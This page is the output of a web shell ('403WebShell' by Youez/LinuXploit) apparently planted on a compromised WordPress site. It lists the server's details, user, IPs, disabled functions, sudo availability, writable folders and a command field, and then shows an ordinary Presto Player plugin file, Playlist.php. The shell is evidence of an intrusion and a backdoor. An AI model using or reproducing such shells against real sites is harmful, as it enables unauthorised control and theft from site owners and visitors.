Uname:Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64

Base Dir : /home/nobi37te/public_html

User : nobi37te


403WebShell
403Webshell
Server IP : 104.21.25.182  /  Your IP : 216.73.216.79
Web Server : Apache
System : Linux server.rehabsharif.com 5.14.0-611.54.3.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 7 16:31:24 EDT 2026 x86_64
User : nobi37te ( 1003)
PHP Version : 8.2.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nobi37te/public_html/wp-content/plugins/presto-player/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nobi37te/public_html/wp-content/plugins/presto-player/inc/Playlist.php
<?php
namespace PrestoPlayer;

use PrestoPlayer\Services\ReusableVideos;
use PrestoPlayer\Blocks\AudioBlock;
use PrestoPlayer\Blocks\SelfHostedBlock;
use PrestoPlayer\Blocks\VimeoBlock;
use PrestoPlayer\Blocks\YouTubeBlock;
use PrestoPlayer\Pro\Blocks\BunnyCDNBlock;

class Playlist {

	/**
	 * Parses the attributes with respect to the provider.
	 *
	 * @param string $block_name Block name.
	 * @param array  $attributes Attributes of the block.
	 *
	 * @return array
	 */
	public function parsed_attributes( $block_name, $attributes ) {
		$attributes = wp_parse_args(
			$attributes,
			array(
				'id'                             => '',
				'src'                            => '',
				'title'                          => '',
				'provider'                       => '',
				'class'                          => '',
				'custom_field'                   => '',
				'poster'                         => '',
				'preload'                        => 'auto',
				'preset'                         => 0,
				'autoplay'                       => false,
				'plays_inline'                   => false,
				'chapters'                       => array(),
				'overlays'                       => array(),
				'tracks'                         => array(),
				'muted_autoplay_preview'         => false,
				'muted_autoplay_caption_preview' => false,
			),
		);

		switch ( $block_name ) {
			case 'presto-player/self-hosted':
				return ( new SelfHostedBlock() )->getAttributes( $attributes, '' );

			case 'presto-player/youtube':
				return ( new YouTubeBlock() )->getAttributes( $attributes, '' );

			case 'presto-player/vimeo':
				return ( new VimeoBlock() )->getAttributes( $attributes, '' );

			case 'presto-player/bunny':
				return class_exists( BunnyCDNBlock::class ) ? ( new BunnyCDNBlock() )->getAttributes( $attributes, '' ) : '';

			case 'presto-player/audio':
				return ( new AudioBlock() )->getAttributes( $attributes, '' );
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit